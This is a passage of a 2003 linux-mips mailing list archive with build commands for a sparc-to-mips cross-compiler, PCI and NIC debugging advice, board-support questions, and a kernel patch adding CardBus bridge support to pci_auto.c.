+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From Kumba12345@aol.com Wed Apr  9 09:30:24 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 12:01:58 +0100 (BST)
Received: from imo-m06.mx.aol.com ([IPv6:::ffff:64.12.136.161]:39659 "EHLO
	imo-m06.mx.aol.com") by linux-mips.org with ESMTP
	id <S8225208AbTDIIaY>; Wed, 9 Apr 2003 09:30:24 +0100
Received: from Kumba12345@aol.com
	by imo-m06.mx.aol.com (mail_out_v34.21.) id l.1a4.129edea5 (16781)
	 for <linux-mips@linux-mips.org>; Wed, 9 Apr 2003 04:30:05 -0400 (EDT)
From: Kumba12345@aol.com
Message-ID: <1a4.129edea5.2bc5340c@aol.com>
Date: Wed, 9 Apr 2003 04:30:04 EDT
Subject: Re: cross-compiler for mips (r5432)
To: linux-mips@linux-mips.org
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_1a4.129edea5.2bc5340c_boundary"
X-Mailer: 7.0 for Windows sub 10634
Return-Path: <Kumba12345@aol.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1956
X-Approved-By: ralf@linux-mips.org
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Kumba12345@aol.com
Precedence: bulk
X-list: linux-mips


--part1_1a4.129edea5.2bc5340c_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit


       Not sure if this will help any, but this configuration helped me build 
a sparc -> mips cross compiler using glibc 2.3.2, gcc 3.2.2, and binutils 
2.13.90.0.16.  Works fine so far, I've built kernels with it and had no 
issues yet.  Although, I do not claim to be an expert in the field of 
cross-compiling -- it seems to be almost an artform.

//------------------

export myARCH=mips-unknown-linux-gnu
export myHOST=sparc-unknown-linux-gnu
export myDEST=/home/crossdev/mips

binutils:
../configure --target=${myARCH} --host=${myHOST} --prefix=${myDEST} 
--enable-shared --enable-64-bit-bfd && make

gcc-bootstrap:
../configure --prefix=${myDEST} --target=${myARCH} --host=${myHOST} 
--with-newlib --without-headers --disable-shared --disable-threads 
--enable-languages=c --disable-multilib && make

glibc:
CC="${myARCH}-gcc" CFLAGS="-O2 -mips2" ../configure --prefix=${myDEST} 
--host=${myARCH} --build=${myHOST} --without-tls --without-__thread 
--enable-add-ons=linuxthreads --enable-kernel=2.4.0 --with-gd=no 
--without-cvs --disable-profile --with-headers="${myDEST}/include" && make 
-j2

gcc-full
../configure --prefix=${myDEST} --target=${myARCH} --host=${myHOST} 
--disable-multilib --enable-shared --enable-languages="c,c++,ada,f77,objc" 
--enable-nls --without-included-gettext --with-system-zlib 
--enable-threads=posix --enable-long-long --disable-checking 
--enable-cstdio=stdio --enable-clocale=generic --enable-__cxa_atexit 
--enable-version-specific-runtime-libs --with-local-prefix=${prefix}/local 
--with-libs="${myDEST}/lib" --with-headers="${myDEST}/${myARCH}/include" && 
make -j2

//------------------

--Kumba


In a message dated 4/9/2003 02:19:18 Eastern Daylight Time, 
madhavis@sasken.com writes:


> Hi
> 
> I want to install a cross-compiler for MIPS(R5432 CPU) on an i686 host.
> Since R4000 is compatible with R5432, I am using "mips3" as the target.
> binutils-2.13 and I phase compilation of gcc-3.2 happened without any
> problems. But, glibc-2.2.5 is giving many compilation problems. This is
> how I configured glibc:
> 
> configure --build=i686-linux --host=mips3el-linux --enable-add-ons
> --prefix=/usr.
> 
> Could someone guide me on this or give me some pointers for installation?
> Is the target option "mips3" the right choice for R5432?
> 
> Thank you in advance.
> 
> regards
> Madhavi.
> 
> Madhavi Suram
> Software Engineer
> Customer Delivery / Networks
> Sasken Communication Technologies Limited
> 139/25, Ring Road, Domlur
> Bangalore - 560071 India
> Email: madhavis@sasken.com
> Tel: + 91 80 5355501 Extn: 8062
> Fax: + 91 80 5351133
> URL: www.sasken.com
> 
--part1_1a4.129edea5.2bc5340c_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2><BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Not sure if this will help any, but thi=
s configuration helped me build a sparc -&gt; mips cross compiler using glib=
c 2.3.2, gcc 3.2.2, and binutils 2.13.90.0.16.&nbsp; Works fine so far, I've=
 built kernels with it and had no issues yet.&nbsp; Although, I do not claim=
 to be an expert in the field of cross-compiling -- it seems to be almost an=
 artform.<BR>
<BR>
//------------------<BR>
<BR>
export myARCH=3Dmips-unknown-linux-gnu<BR>
export myHOST=3Dsparc-unknown-linux-gnu<BR>
export myDEST=3D/home/crossdev/mips<BR>
<BR>
binutils:<BR>
../configure --target=3D${myARCH} --host=3D${myHOST} --prefix=3D${myDEST} --=
enable-shared --enable-64-bit-bfd &amp;&amp; make<BR>
<BR>
gcc-bootstrap:<BR>
../configure --prefix=3D${myDEST} --target=3D${myARCH} --host=3D${myHOST} --=
with-newlib --without-headers --disable-shared --disable-threads --enable-la=
nguages=3Dc --disable-multilib &amp;&amp; make<BR>
<BR>
glibc:<BR>
CC=3D"${myARCH}-gcc" CFLAGS=3D"-O2 -mips2" ../configure --prefix=3D${myDEST}=
 --host=3D${myARCH} --build=3D${myHOST} --without-tls --without-__thread --e=
nable-add-ons=3Dlinuxthreads --enable-kernel=3D2.4.0 --with-gd=3Dno --withou=
t-cvs --disable-profile --with-headers=3D"${myDEST}/include" &amp;&amp; make=
 -j2<BR>
<BR>
gcc-full<BR>
../configure --prefix=3D${myDEST} --target=3D${myARCH} --host=3D${myHOST} --=
disable-multilib --enable-shared --enable-languages=3D"c,c++,ada,f77,objc" -=
-enable-nls --without-included-gettext --with-system-zlib --enable-threads=
=3Dposix --enable-long-long --disable-checking --enable-cstdio=3Dstdio --ena=
ble-clocale=3Dgeneric --enable-__cxa_atexit --enable-version-specific-runtim=
e-libs --with-local-prefix=3D${prefix}/local --with-libs=3D"${myDEST}/lib" -=
-with-headers=3D"${myDEST}/${myARCH}/include" &amp;&amp; make -j2<BR>
<BR>
//------------------<BR>
<BR>
--Kumba<BR>
<BR>
<BR>
In a message dated 4/9/2003 02:19:18 Eastern Daylight Time, madhavis@sasken.=
com writes:<BR>
<BR>
<BR>
<BLOCKQUOTE TYPE=3DCITE style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT=
: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">Hi<BR>
<BR>
I want to install a cross-compiler for MIPS(R5432 CPU) on an i686 host.<BR>
Since R4000 is compatible with R5432, I am using "mips3" as the target.<BR>
binutils-2.13 and I phase compilation of gcc-3.2 happened without any<BR>
problems. But, glibc-2.2.5 is giving many compilation problems. This is<BR>
how I configured glibc:<BR>
<BR>
configure --build=3Di686-linux --host=3Dmips3el-linux --enable-add-ons<BR>
--prefix=3D/usr.<BR>
<BR>
Could someone guide me on this or give me some pointers for installation?<BR=
>
Is the target option "mips3" the right choice for R5432?<BR>
<BR>
Thank you in advance.<BR>
<BR>
regards<BR>
Madhavi.<BR>
<BR>
Madhavi Suram<BR>
Software Engineer<BR>
Customer Delivery / Networks<BR>
Sasken Communication Technologies Limited<BR>
139/25, Ring Road, Domlur<BR>
Bangalore - 560071 India<BR>
Email: madhavis@sasken.com<BR>
Tel: + 91 80 5355501 Extn: 8062<BR>
Fax: + 91 80 5351133<BR>
URL: www.sasken.com<BR>
</FONT></HTML>
--part1_1a4.129edea5.2bc5340c_boundary--

From alan@lxorguk.ukuu.org.uk Wed Apr  9 13:51:20 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 13:51:21 +0100 (BST)
Received: from pc2-cwma1-4-cust86.swan.cable.ntl.com ([IPv6:::ffff:213.105.254.86]:34971
	"EHLO lxorguk.ukuu.org.uk") by linux-mips.org with ESMTP
	id <S8225208AbTDIMvU>; Wed, 9 Apr 2003 13:51:20 +0100
Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h39Br4RN010216;
	Wed, 9 Apr 2003 12:53:04 +0100
Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h39Br2YP010214;
	Wed, 9 Apr 2003 12:53:02 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
Subject: Re: pci graphics card for malta running linux
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Jun Sun <jsun@mvista.com>
Cc: Earl Mitchell <earlmips@yahoo.com>, linux-mips@linux-mips.org
In-Reply-To: <20030408144556.E6865@mvista.com>
References: <20030408175517.66121.qmail@web20708.mail.yahoo.com>
	 <1049833899.8939.9.camel@dhcp22.swansea.linux.org.uk>
	 <20030408144556.E6865@mvista.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1049889181.9901.27.camel@dhcp22.swansea.linux.org.uk>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Date: 09 Apr 2003 12:53:02 +0100
Return-Path: <alan@lxorguk.ukuu.org.uk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1957
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: alan@lxorguk.ukuu.org.uk
Precedence: bulk
X-list: linux-mips

On Maw, 2003-04-08 at 22:45, Jun Sun wrote:
> > getting an old voodoo1/voodoo2 off ebay. They report as multimedia
> > devices and the current kernel fb driver can bootstrap them from
> > cold on little or big endian systems with no bios support (tested
> > on parisc, x86 etc)
> >
> 
> When I played with voodoo cards, I needed a different voodoo driver
> for fb to work.  See http://www.medex.hu/~danthe/tdfx/.

tdfx is voodoo3, sstfb is voodoo1/2



From ralf@linux-mips.net Wed Apr  9 14:54:14 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 14:54:15 +0100 (BST)
Received: from p508B52B7.dip.t-dialin.net ([IPv6:::ffff:80.139.82.183]:39303
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225208AbTDINyO>; Wed, 9 Apr 2003 14:54:14 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h39Ds0F30884;
	Wed, 9 Apr 2003 15:54:00 +0200
Date: Wed, 9 Apr 2003 15:54:00 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Madhavi <madhavis@sasken.com>
Cc: linux-mips@linux-mips.org
Subject: Re: cross-compiler for mips (r5432)
Message-ID: <20030409155400.A26124@linux-mips.org>
References: <Pine.LNX.4.33.0304091136220.1873-100000@pcz-madhavis.sasken.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.33.0304091136220.1873-100000@pcz-madhavis.sasken.com>; from madhavis@sasken.com on Wed, Apr 09, 2003 at 11:47:51AM +0530
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1958
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 09, 2003 at 11:47:51AM +0530, Madhavi wrote:

> I want to install a cross-compiler for MIPS(R5432 CPU) on an i686 host.
> Since R4000 is compatible with R5432, I am using "mips3" as the target.
> binutils-2.13 and I phase compilation of gcc-3.2 happened without any
> problems. But, glibc-2.2.5 is giving many compilation problems. This is
> how I configured glibc:
> 
> configure --build=i686-linux --host=mips3el-linux --enable-add-ons
> --prefix=/usr.
> 
> Could someone guide me on this or give me some pointers for installation?
> Is the target option "mips3" the right choice for R5432?

Never.  Use mipsel-linux for your box.

  Ralf

From ashish_ibm@rediffmail.com Wed Apr  9 15:49:49 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 15:49:50 +0100 (BST)
Received: from webmail16.rediffmail.com ([IPv6:::ffff:203.199.83.26]:35525
	"HELO rediffmail.com") by linux-mips.org with SMTP
	id <S8225208AbTDIOtt>; Wed, 9 Apr 2003 15:49:49 +0100
Received: (qmail 6143 invoked by uid 510); 9 Apr 2003 14:52:28 -0000
Date: 9 Apr 2003 14:52:28 -0000
Message-ID: <20030409145228.6142.qmail@webmail16.rediffmail.com>
Received: from unknown (210.210.49.69) by rediffmail.com via HTTP; 09 apr 2003 14:52:28 -0000
MIME-Version: 1.0
From: "ashish  anand" <ashish_ibm@rediffmail.com>
Reply-To: "ashish  anand" <ashish_ibm@rediffmail.com>
To: linux-mips@linux-mips.org
Subject: Problem in pci-bridge or NIC driver..?
Content-type: text/plain;
	format=flowed
Content-Disposition: inline
Return-Path: <ashish_ibm@rediffmail.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1959
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ashish_ibm@rediffmail.com
Precedence: bulk
X-list: linux-mips

Hello,

I am not able to conclude whether my problem belongs to pci-bridge 
side or towards my NIC drivers.

1> I am using thee network cards in my BSP process ..Intel 82557 , 
RealTek 8139 and 3COM
3c905b ..all these three card works fine on different machine.

2>I have great difficulty in having serial eeprom and mdio 
interface both working and responding correctly to pci 
transactions.

3>in pci io space i can't use 82557 and RTL8139 cards as simply i 
amn't able to read serial eeprom and hence their MAC addresss 
remains undetected  while on other machine same two card's serial 
eeprom responds fine in pci io space as well.
serial eeprom response in pci mem space is fine but other nasty 
problems.

However my 3com card serial eeprom responds perfectly fine on my 
developement system.

So, where is the probelm ..i am confused..

4>but my 3COM card MII interface doesn't respond ( it is having 
only pci io bar) in pci io space.

while i am yet to get diagnostic reports from mii diag programmes 
for these card..meantime I want a hint if I need to see anything 
on PCI bridge side.

Best Regards,
Ashish Anand


_______________________________________________________________________
Odomos - the only  mosquito protection outside 4 walls -
Click here to know more!
http://r.rediff.com/r?http://clients.rediff.com/odomos/Odomos.htm&&odomos&&wn


From jsun@mvista.com Wed Apr  9 17:48:05 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 17:48:06 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:58097 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225205AbTDIQsF>;
	Wed, 9 Apr 2003 17:48:05 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h39GlbN32016;
	Wed, 9 Apr 2003 09:47:37 -0700
Date: Wed, 9 Apr 2003 09:47:37 -0700
From: Jun Sun <jsun@mvista.com>
To: ashish anand <ashish_ibm@rediffmail.com>
Cc: linux-mips@linux-mips.org, jsun@mvista.com
Subject: Re: Problem in pci-bridge or NIC driver..?
Message-ID: <20030409094737.B31925@mvista.com>
References: <20030409145228.6142.qmail@webmail16.rediffmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030409145228.6142.qmail@webmail16.rediffmail.com>; from ashish_ibm@rediffmail.com on Wed, Apr 09, 2003 at 02:52:28PM -0000
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1960
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Wed, Apr 09, 2003 at 02:52:28PM -0000, ashish  anand wrote:
> Hello,
> 
> I am not able to conclude whether my problem belongs to pci-bridge 
> side or towards my NIC drivers.
> 
> 1> I am using thee network cards in my BSP process ..Intel 82557 , 
> RealTek 8139 and 3COM
> 3c905b ..all these three card works fine on different machine.
> 
> 2>I have great difficulty in having serial eeprom and mdio 
> interface both working and responding correctly to pci 
> transactions.
> 
> 3>in pci io space i can't use 82557 and RTL8139 cards as simply i 
> amn't able to read serial eeprom and hence their MAC addresss 
> remains undetected  while on other machine same two card's serial 
> eeprom responds fine in pci io space as well.
> serial eeprom response in pci mem space is fine but other nasty 
> problems.
> 
> However my 3com card serial eeprom responds perfectly fine on my 
> developement system.
>

Is 3com's serial eeprom in IO space or MEM space?  If it is in 
MEM space, it probably means that your IO space is not setup 
right.  You need to use substractive decoding to translate
PCI IO address when you memory-map PCI IO space.

Which board/controller chip are you using?

If you use pci_auto to assign PCI resource, you should be able
to see the IO/MEM resources assigned to those cards.  They
are very useful for probing the problem.

Jun

From michaelanburaj@hotmail.com Wed Apr  9 22:32:13 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Apr 2003 22:32:14 +0100 (BST)
Received: from bay1-f81.bay1.hotmail.com ([IPv6:::ffff:65.54.245.81]:64014
	"EHLO hotmail.com") by linux-mips.org with ESMTP
	id <S8225306AbTDIVcN>; Wed, 9 Apr 2003 22:32:13 +0100
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 9 Apr 2003 14:32:03 -0700
Received: from 207.13.167.2 by by1fd.bay1.hotmail.msn.com with HTTP;
	Wed, 09 Apr 2003 21:32:03 GMT
X-Originating-IP: [207.13.167.2]
X-Originating-Email: [michaelanburaj@hotmail.com]
From: "Michael Anburaj" <michaelanburaj@hotmail.com>
To: linux-mips@linux-mips.org
Subject: Linux for MIPS Atlas 4Kc board
Date: Wed, 09 Apr 2003 14:32:03 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY1-F817dKwKkLxFjj00070900@hotmail.com>
X-OriginalArrivalTime: 09 Apr 2003 21:32:03.0417 (UTC) FILETIME=[76356C90:01C2FEDF]
Return-Path: <michaelanburaj@hotmail.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1961
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: michaelanburaj@hotmail.com
Precedence: bulk
X-list: linux-mips

Hi,

I am new to Linux. But I have a strong ARM & MIPS background with kernel 
porting & other stuff.

I want to get a higher-level view of the essential components of Linux for 
MIPS & documentation about the kernel. Please point me to documents on the 
net.

Question 2:
Does Linux-MIPS support the MIPS Atlas board with 4Kc processor using 
mipsisa32-elf build tool chain (Contain the appropriate HAL or BSP)? Is so, 
please point me to documents that gives the exact build steps for the same.

Also do let me know if Cygwin over Win98 dev. environment is good for 
building & developing with Linux-MIPS or do I need to have Linux installed 
on my dev. machine?

Thanks a lot,
-Mike.


_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail


From jsun@mvista.com Thu Apr 10 00:37:54 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 00:37:55 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:65265 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225209AbTDIXhy>;
	Thu, 10 Apr 2003 00:37:54 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h39Nbqb06351;
	Wed, 9 Apr 2003 16:37:52 -0700
Date: Wed, 9 Apr 2003 16:37:52 -0700
From: Jun Sun <jsun@mvista.com>
To: linux-mips@linux-mips.org
Cc: jsun@mvista.com
Subject: [PATCH] suport cardbus bridge in pciauto
Message-ID: <20030409163752.E32396@mvista.com>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="r5Pyd7+fXNt84Ff3"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1962
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips


--r5Pyd7+fXNt84Ff3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


This adds support for cardbus bridge in pciauto resource assignment.
Patch created by Yuasa-san and Alice.  Modified by me.

Jun

--r5Pyd7+fXNt84Ff3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="030409.pciauto-cardbus-support.patch"

diff -Nru link/arch/mips/kernel/pci_auto.c.orig link/arch/mips/kernel/pci_auto.c
--- link/arch/mips/kernel/pci_auto.c.orig	Mon Aug  5 16:53:33 2002
+++ link/arch/mips/kernel/pci_auto.c	Wed Apr  9 16:17:02 2003
@@ -3,7 +3,7 @@
  *
  * Author: Matt Porter <mporter@mvista.com>
  *
- * Copyright 2000, 2001 MontaVista Software Inc.
+ * Copyright 2000, 2001, 2002, 2003 MontaVista Software Inc.
  * Copyright 2001 Bradley D. LaRonde <brad@ltc.com>
  *
  * This program is free software; you can redistribute  it and/or modify it
@@ -29,6 +29,9 @@
  * - Align io and memory base properly before and after bridge setup.
  * - Don't fall through to pci_setup_bars for bridge.
  * - Reformat the debug output to look more like lspci's output.
+ *
+ * 2003-04-09 Youchi Yuasa, Alice Hennessy, Jun Sun
+ * - Add cardbus bridge support, mostly copied from PPC
  */
 
 #include <linux/kernel.h>
@@ -99,7 +102,8 @@
 pciauto_setup_bars(struct pci_channel *hose,
 		   int top_bus,
 		   int current_bus,
-		   int pci_devfn)
+		   int pci_devfn,
+		   int bar_limit)
 {
 	u32 bar_response, bar_size, bar_value;
 	u32 bar, addr_mask, bar_nr = 0;
@@ -107,7 +111,7 @@
 	u32 * lower_limit;
 	int found_mem64 = 0;
 
-	for (bar = PCI_BASE_ADDRESS_0; bar <= PCI_BASE_ADDRESS_5; bar+=4) {
+	for (bar = PCI_BASE_ADDRESS_0; bar <= bar_limit; bar+=4) {
 		/* Tickle the BAR and get the response */
 		early_write_config_dword(hose, top_bus,
 					 current_bus,
@@ -282,6 +286,88 @@
 		| PCI_COMMAND_MASTER);
 }
 
+void __init
+pciauto_prescan_setup_cardbus_bridge(struct pci_channel *hose,
+                            int top_bus,
+                            int current_bus,
+                            int pci_devfn,
+                            int sub_bus)
+{
+       /* Configure bus number registers */
+       early_write_config_byte(hose, top_bus, current_bus, pci_devfn,
+                               PCI_PRIMARY_BUS, current_bus);
+       early_write_config_byte(hose, top_bus, current_bus, pci_devfn,
+                               PCI_SECONDARY_BUS, sub_bus + 1);
+       early_write_config_byte(hose, top_bus, current_bus, pci_devfn,
+                               PCI_SUBORDINATE_BUS, 0xff);
+
+       /* Align memory and I/O to 4KB and 4 byte boundaries. */
+       pciauto_lower_memspc = (pciauto_lower_memspc + (0x1000 - 1))
+               & ~(0x1000 - 1);
+       pciauto_lower_iospc = (pciauto_lower_iospc + (0x4 - 1))
+               & ~(0x4 - 1);
+
+       early_write_config_dword(hose, top_bus, current_bus, pci_devfn,
+               PCI_CB_MEMORY_BASE_0, pciauto_lower_memspc);
+       early_write_config_dword(hose, top_bus, current_bus, pci_devfn,
+               PCI_CB_IO_BASE_0, pciauto_lower_iospc);  
+}
+
+void __init
+pciauto_postscan_setup_cardbus_bridge(struct pci_channel *hose,
+                             int top_bus,
+                             int current_bus,
+                             int pci_devfn,
+                             int sub_bus)
+{
+	u32 temp;
+
+	/*
+	 * Configure subordinate bus number.  The PCI subsystem
+	 * bus scan will renumber buses (reserving three additional
+	 * for this PCI<->CardBus bridge for the case where a CardBus
+	 * adapter contains a P2P or CB2CB bridge.
+	 */
+
+       early_write_config_byte(hose, top_bus, current_bus, pci_devfn,
+                               PCI_SUBORDINATE_BUS, sub_bus);
+
+	/*
+	 * Reserve an additional 4MB for mem space and 16KB for
+	 * I/O space.  This should cover any additional space
+	 * requirement of unusual CardBus devices with 
+	 * additional bridges that can consume more address space.
+	 * 
+	 * Although pcmcia-cs currently will reprogram bridge
+	 * windows, the goal is to add an option to leave them
+	 * alone and use the bridge window ranges as the regions
+	 * that are searched for free resources upon hot-insertion
+	 * of a device.  This will allow a PCI<->CardBus bridge
+	 * configured by this routine to happily live behind a
+	 * P2P bridge in a system.
+	 */
+	pciauto_upper_memspc += 0x00400000;
+	pciauto_upper_iospc += 0x00004000;
+
+	/* Align memory and I/O to 4KB and 4 byte boundaries. */
+	pciauto_lower_memspc = (pciauto_lower_memspc + (0x1000 - 1))
+				& ~(0x1000 - 1);
+	pciauto_lower_iospc = (pciauto_lower_iospc + (0x4 - 1))
+				& ~(0x4 - 1);
+	/* Set up memory and I/O filter limits, assume 32-bit I/O space */
+	early_write_config_dword(hose, top_bus, current_bus, pci_devfn,
+			PCI_CB_MEMORY_LIMIT_0, pciauto_lower_memspc - 1); 
+	early_write_config_dword(hose, top_bus, current_bus, pci_devfn,
+			PCI_CB_IO_LIMIT_0, pciauto_lower_iospc - 1);
+       
+	/* Enable memory and I/O accesses, enable bus master */
+	early_read_config_dword(hose, top_bus, current_bus, pci_devfn,
+			PCI_COMMAND, &temp);
+	early_write_config_dword(hose, top_bus, current_bus, pci_devfn,
+		PCI_COMMAND, temp | PCI_COMMAND_IO | PCI_COMMAND_MEMORY
+		| PCI_COMMAND_MASTER);
+}
+
 #define      PCIAUTO_IDE_MODE_MASK           0x05
 
 int __init
@@ -343,6 +429,24 @@
 			pciauto_postscan_setup_bridge(hose, top_bus, current_bus,
 						      pci_devfn, sub_bus);
 			continue;
+                } else if ((pci_class >> 16) == PCI_CLASS_BRIDGE_CARDBUS) {
+                        DBG("  CARDBUS  Bridge: primary=%.2x, secondary=%.2x\n",
+                                current_bus, sub_bus + 1);
+                        DBG("PCI Autoconfig: Found CardBus bridge, device %d function %d\n", PCI_SLOT(pci_devfn), PCI_FUNC(pci_devfn));
+                        /* Place CardBus Socket/ExCA registers */
+                        pciauto_setup_bars(hose, top_bus, current_bus, pci_devfn, PCI_BASE_ADDRESS_0);
+ 
+                        pciauto_prescan_setup_cardbus_bridge(hose, top_bus, 
+                                        current_bus, pci_devfn, sub_bus);
+ 
+                        DBG("Scanning sub bus %.2x, I/O 0x%.8x, Mem 0x%.8x\n",
+                                sub_bus + 1,
+                                pciauto_lower_iospc, pciauto_lower_memspc);
+			sub_bus = pciauto_bus_scan(hose, top_bus, sub_bus+1);
+			DBG("Back to bus %.2x, sub_bus is %x\n", current_bus, sub_bus);
+			pciauto_postscan_setup_cardbus_bridge(hose, top_bus, 
+                                        current_bus, pci_devfn, sub_bus);
+                        continue;
 		} else if ((pci_class >> 16) == PCI_CLASS_STORAGE_IDE) {
 
 			unsigned char prg_iface;
@@ -369,7 +473,7 @@
 					PCI_LATENCY_TIMER, 0x80);
 
 		/* Allocate PCI I/O and/or memory space */
-		pciauto_setup_bars(hose, top_bus, current_bus, pci_devfn);
+		pciauto_setup_bars(hose, top_bus, current_bus, pci_devfn, PCI_BASE_ADDRESS_5);
 	}
 	return sub_bus;
 }

--r5Pyd7+fXNt84Ff3--

From jsun@mvista.com Thu Apr 10 00:47:04 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 10 Apr 2003 00:47:05 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:54260 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225209AbTDIXrE>;
	Thu, 10 Apr 2003 00:47:04 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h39Nl2N06385;
	Wed, 9 Apr 2003 16:47:02 -0700
Date: Wed, 9 Apr 2003 16:47:02 -0700
From: Jun Sun <jsun@mvista.com>
To: linux-mips@linux-mips.org
Cc: jsun@mvista.com
Subject: [PATCH] pciatuo setup P2P bridge properly
Message-ID: <20030409164702.G32396@mvista.com>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="4ZLFUWh1odzi/v6L"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1963
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips


--4ZLFUWh1odzi/v6L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


This patches solves two problems:

